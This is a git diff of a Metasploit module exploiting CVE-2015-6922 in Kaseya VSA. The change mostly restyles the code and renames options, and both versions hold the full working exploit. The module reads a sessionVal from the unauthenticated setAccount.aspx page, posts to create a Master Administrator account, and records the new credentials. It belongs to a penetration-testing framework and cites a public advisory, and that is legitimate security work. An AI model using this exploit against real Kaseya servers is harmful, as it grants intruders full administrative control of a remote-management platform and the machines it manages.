diff --git a/modules/auxiliary/admin/http/kaseya_master_admin.rb b/modules/auxiliary/admin/http/kaseya_master_admin.rb
index 92bdf0e2e9..08e6648934 100644
--- a/modules/auxiliary/admin/http/kaseya_master_admin.rb
+++ b/modules/auxiliary/admin/http/kaseya_master_admin.rb
@@ -14,12 +14,12 @@ class Metasploit3 < Msf::Auxiliary
     super(update_info(info,
       'Name' => 'Kaseya VSA Master Administrator Account Creation',
       'Description' => %q{
-This module abuses the setAccount page on Kaseya VSA between 7 and 9.1 to create a new
-Master Administrator account. Normally this page is only accessible via the localhost
-interface, but the application does nothing to prevent this apart from attempting to
-force a redirect. This module has been tested with Kaseya VSA v7.0.0.17, v8.0.0.10 and
-v9.0.0.3.
-},
+        This module abuses the setAccount page on Kaseya VSA between 7 and 9.1 to create a new
+        Master Administrator account. Normally this page is only accessible via the localhost
+        interface, but the application does nothing to prevent this apart from attempting to
+        force a redirect. This module has been tested with Kaseya VSA v7.0.0.17, v8.0.0.10 and
+        v9.0.0.3.
+      },
       'Author' =>
         [
           'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
@@ -27,18 +27,18 @@ v9.0.0.3.
       'License' => MSF_LICENSE,
       'References' =>
         [
-          [ 'CVE', '2015-6922' ],
-          [ 'ZDI', '15-448' ],
-          [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/kaseya-vsa-vuln-2.txt' ],
-          [ 'URL', 'TODO_FULLDISC_URL' ]
+          ['CVE', '2015-6922'],
+          ['ZDI', '15-448'],
+          ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/kaseya-vsa-vuln-2.txt'],
+          ['URL', 'TODO_FULLDISC_URL']
         ],
       'DisclosureDate' => 'Sep 23 2015'))
 
     register_options(
       [
-        OptString.new('TARGETURI', [ true,  "The Kaseya VSA URI", '/']),
-        OptString.new('USERNAME', [true, 'The username for the new admin account', 'msf']),
-        OptString.new('PASSWORD', [true, 'The password for the new admin account', 'password']),
+        OptString.new('TARGETURI', [ true,  'The Kaseya VSA URI', '/']),
+        OptString.new('KASEYA_USER', [true, 'The username for the new admin account', 'msf']),
+        OptString.new('KASEYA_PASS', [true, 'The password for the new admin account', 'password']),
         OptString.new('EMAIL', [true, 'The email for the new admin account', 'msf@email.loc'])
       ], self.class)
   end
@@ -46,58 +46,62 @@ v9.0.0.3.
 
   def run
     res = send_request_cgi({
-      'uri' => normalize_uri(target_uri.path, "/LocalAuth/setAccount.aspx"),
+      'uri' => normalize_uri(target_uri.path, 'LocalAuth', 'setAccount.aspx'),
       'method' =>'GET',
     })
 
-    if res and res.body =~ /ID="sessionVal" name="sessionVal" value='([0-9]*)'/
-      sessionVal = $1
-      print_status("#{peer} - Got sessionVal " + sessionVal + ", creating Master Administrator account")
-
-      res = send_request_cgi({
-        'uri' => normalize_uri(target_uri.path, "/LocalAuth/setAccount.aspx"),
-        'method' =>'POST',
-        'vars_post' => {
-          "sessionVal" => sessionVal,
-          "adminName" => datastore['USERNAME'],
-          "NewPassword" => datastore['PASSWORD'],
-          "confirm" => datastore['PASSWORD'],
-          "adminEmail" => datastore['EMAIL'],
-          "setAccount" => "Create"
-        }
-      })
-
-      if res and res.code == 302 and res.body =~ /\/vsapres\/web20\/core\/login\.asp/
-        print_good("#{peer} - Master Administrator account with credentials #{datastore['USERNAME']}:#{datastore['PASSWORD']} created")
-        service_data = {
-          address: rhost,
-          port: rport,
-          service_name: (ssl ? 'https' : 'http'),
-          protocol: 'tcp',
-          workspace_id: myworkspace_id
-        }
-        credential_data = {
-          origin_type: :service,
-          module_fullname: self.fullname,
-          private_type: :password,
-          private_data: datastore['PASSWORD'],
-          username: datastore['USERNAME']
-        }
-
-        credential_data.merge!(service_data)
-        credential_core = create_credential(credential_data)
-        login_data = {
-          core: credential_core,
-          access_level: 'Master Administrator',
-          status: Metasploit::Model::Login::Status::UNTRIED
-        }
-        login_data.merge!(service_data)
-        create_credential_login(login_data)
-      else
-        print_error("#{peer} - Master Administrator account creation failed")
-      end
+    if res && res.body && res.body.to_s =~ /ID="sessionVal" name="sessionVal" value='([0-9]*)'/
+      session_val = $1
     else
       print_error("#{peer} - Failed to get sessionVal")
+      return
     end
+
+    print_status("#{peer} - Got sessionVal #{session_val}, creating Master Administrator account")
+
+    res = send_request_cgi({
+      'uri' => normalize_uri(target_uri.path, 'LocalAuth', 'setAccount.aspx'),
+      'method' =>'POST',
+      'vars_post' => {
+        'sessionVal' => session_val,
+        'adminName' => datastore['KASEYA_USER'],
+        'NewPassword' => datastore['KASEYA_PASS'],
+        'confirm' => datastore['KASEYA_PASS'],
+        'adminEmail' => datastore['EMAIL'],
+        'setAccount' => 'Create'
+      }
+    })
+
+    unless res && res.code == 302 && res.body && res.body.to_s.include?('/vsapres/web20/core/login.asp')
+      print_error("#{peer} - Master Administrator account creation failed")
+      return
+    end
+
+    print_good("#{peer} - Master Administrator account with credentials #{datastore['KASEYA_USER']}:#{datastore['KASEYA_PASS']} created")
+    service_data = {
+      address: rhost,
+      port: rport,
+      service_name: (ssl ? 'https' : 'http'),
+      protocol: 'tcp',
+      workspace_id: myworkspace_id
+    }
+
+    credential_data = {
+      origin_type: :service,
+      module_fullname: self.fullname,
+      private_type: :password,
+      private_data: datastore['KASEYA_PASS'],
+      username: datastore['KASEYA_USER']
+    }
+
+    credential_data.merge!(service_data)
+    credential_core = create_credential(credential_data)
+    login_data = {
+      core: credential_core,
+      access_level: 'Master Administrator',
+      status: Metasploit::Model::Login::Status::UNTRIED
+    }
+    login_data.merge!(service_data)
+    create_credential_login(login_data)
   end
 end